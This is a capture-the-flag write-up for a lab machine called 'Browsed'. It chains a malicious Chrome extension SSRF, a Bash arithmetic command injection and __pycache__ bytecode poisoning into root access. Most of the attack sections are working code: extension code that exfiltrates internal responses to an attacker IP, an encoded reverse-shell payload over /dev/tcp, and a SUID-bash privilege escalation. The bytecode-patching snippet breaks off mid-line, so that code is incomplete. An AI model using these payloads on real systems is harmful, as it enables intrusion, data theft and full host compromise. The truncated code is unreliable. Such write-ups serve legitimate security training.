Overview
Browsed demonstrates three distinct vulnerability classes chained into a full compromise. The attack begins by abusing a feature that loads user-supplied Chrome extensions into a headless browser — the extension's background service worker can make fetch requests that bypass same-origin restrictions and reach internal services not exposed externally. The internal Flask application exposed via SSRF has a code injection vulnerability in its arithmetic evaluation endpoint that executes commands as a second user. From there, a world-writable __pycache__ directory allows us to replace a compiled Python bytecode file imported by a root-privileged script.
Enumeration
nmap -sV -sC -p- --min-rate 5000 -oA browsed 10.10.11.x
Two HTTP ports: 80 (Nginx, public site) and 3000 (internal-only, blocked from external access). Port 80 hosts a browser automation service — users can upload Chrome extensions to be "tested" in a headless Chromium instance. The site indicates results are accessible after a brief processing delay.
Foothold — Chrome Extension SSRF
The Extension Vector
Chrome extension background service workers (Manifest V3) run in an isolated context with access to the full Chrome extension API, including fetch(). Unlike content scripts, background workers can make cross-origin requests — including requests to localhost and private IP ranges — without being subject to the same-origin policy that applies to normal web pages.
A headless browser that loads a user-supplied extension is a weaponisable SSRF primitive: the extension's background worker can reach any service accessible to the browser host, and exfiltrate the responses.
Crafting the Extension
// manifest.json
{
"name": "SSRF Extension",
"version": "1.0",
"manifest_version": 3,
"background": { "service_worker": "background.js" },
"permissions": ["storage"]
}
// background.js — fetch internal service and exfiltrate response
const TARGET = 'http://127.0.0.1:3000/';
const EXFIL = 'http://10.10.14.x:8000/';
async function exfil() {
const res = await fetch(TARGET);
const body = await res.text();
await fetch(EXFIL + '?d=' + btoa(body));
}
exfil();
# Start HTTP server to receive exfiltrated data
python3 -m http.server 8000
# Package and upload the extension
zip -r ext.zip manifest.json background.js
After upload, the listener receives a base64-encoded response from http://127.0.0.1:3000/ — an internal Flask application with an arithmetic evaluation endpoint at /calc.
Exploring the Internal Application
Updating the extension to probe /calc:
const res = await fetch('http://127.0.0.1:3000/calc?expr=1+1');
// Response: {"result": 2}
The expr parameter is evaluated server-side. Testing with a non-numeric value confirms the backend processes the expression through a shell-based evaluation path:
// Test for injection
fetch('http://127.0.0.1:3000/calc?expr=a[$(id)]')
// Response: {"result": null, "error": "uid=1001(larry) gid=1001(larry)..."}
Bash Arithmetic Expansion Injection
The Flask application passes the expr parameter to a Bash script for evaluation using the arithmetic expansion syntax $(( expr )) or an associative array index. The vulnerability arises from the a[$(...)] pattern — Bash evaluates the contents of $(...) as a command substitution even inside an arithmetic context, making it a command injection vector.
# The vulnerable pattern in the server-side script:
# result=$(( a[$expr] ))
# When expr = "$(id)", Bash evaluates: a[$(id)] = a[uid=1001(larry)...]
# The command substitution executes before the array index is evaluated
Using the SSRF chain to deliver a reverse shell payload:
// background.js — deliver reverse shell via arithmetic injection
const cmd = 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1';
const enc = btoa(cmd);
const expr = encodeURIComponent(`$(echo ${enc}|base64 -d|bash)`);
fetch(`http://127.0.0.1:3000/calc?expr=a[${expr}]`);
# On attacker machine:
nc -lvnp 4444
# larry@browsed:~$
Privilege Escalation — pycache Poisoning
Enumeration as larry
sudo -l
# User larry may run the following commands on browsed:
# (root) NOPASSWD: /usr/bin/python3 /opt/maintenance/cleanup.py
The script /opt/maintenance/cleanup.py imports a module from /opt/maintenance/lib/utils.py:
import sys
sys.path.insert(0, '/opt/maintenance/lib')
from utils import clean_tmp
clean_tmp()
The source file utils.py is owned by root and not writable. However, the __pycache__ directory inside /opt/maintenance/lib/ is world-writable:
ls -la /opt/maintenance/lib/
# drwxrwxrwx 2 root root 4096 Apr 19 12:30 __pycache__
# -rw-r--r-- 1 root root 247 Apr 19 12:30 utils.py
How Python Bytecode Caching Works
When Python imports a module, it checks __pycache__/ for a compiled .pyc file matching the source's modification timestamp. If a valid .pyc exists and its embedded timestamp matches the source file's mtime, Python loads the compiled bytecode directly — without re-reading the source file. This means we can replace the .pyc with a malicious version compiled from attacker-controlled Python code, and Python will execute it as long as the timestamp field matches.
# Generate a malicious utils.py
cat > /tmp/utils_evil.py << 'EOF'
import os
def clean_tmp():
os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
EOF
# Compile it to a .pyc
python3 -c "import py_compile; py_compile.compile('/tmp/utils_evil.py', '/tmp/utils_evil.pyc')"
# Get the original source mtime to match the timestamp in the .pyc header
MTIME=$(stat -c %Y /opt/maintenance/lib/utils.py)
# Patch the .pyc timestamp field (bytes 8-12 in the header) to match
python3 << 'PEOF'
import struct, time
with open('/tmp/utils_evil.pyc', 'r+b') as f:
f.seek(8)
f.write(struct.pack('
sudo /usr/bin/python3 /opt/maintenance/cleanup.py
/tmp/rootbash -p
# rootbash-5.1# id
# uid=0(root) gid=0(root)
Flags
cat /home/larry/user.txt
cat /root/root.txt
Takeaways
The Chrome extension SSRF vector is elegant: the headless browser sandbox that's supposed to protect the host becomes the pivot into internal services. Service workers are powerful by design — any application that loads user-supplied extensions in a headless browser without strict network isolation is vulnerable to this class of attack.
The Bash arithmetic injection via a[$(cmd)] is a subtle gotcha. Developers evaluating arithmetic in shell scripts often consider input restricted to numbers — but the $(...) command substitution expands before arithmetic evaluation, making any user-controlled arithmetic expression a potential injection point. Sanitise for digits-only or use a proper arithmetic library.
The pycache hijack is a classic but underappreciated privilege escalation. Writing to __pycache__ is treated as lower-privilege than writing to the source — but it provides equivalent code execution when the bytecode cache is fresher than the source. Permissions on Python package directories should always cover both .py files and their __pycache__ directories.